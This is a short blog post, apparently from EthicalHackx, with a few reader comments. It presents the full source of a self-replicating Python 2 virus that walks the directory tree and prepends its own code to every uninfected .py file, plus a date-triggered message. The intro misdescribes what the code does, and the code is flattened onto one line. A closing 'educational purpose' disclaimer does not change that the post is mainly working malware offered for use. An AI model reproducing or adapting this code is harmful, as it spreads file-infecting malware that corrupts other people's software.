Python Virus !! Lets code a simple Virus easily in Python, Python, as you know, is widely used by Hackers to code different scripts to ease their task, Now let us Make a Virus in Python.
This simple Python Script when executed searches for Python files and makes the strings in the file to the following – “EthicalHackx is Watching YOU”.
#!/usr/bin/python import os import datetime SIGNATURE = "SIMPLE PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3:] == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "EthicalHackx is Watching YOU" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()
NOTE: This is just for EDUCATIONAL Purpose and run in Safe Environment ( Virtual Box)
this code is not working in jupyter notebook
What is the error you are getting ?
Also I have not tried recently, the article was probably written somewhere in 2013 with python2
this is not working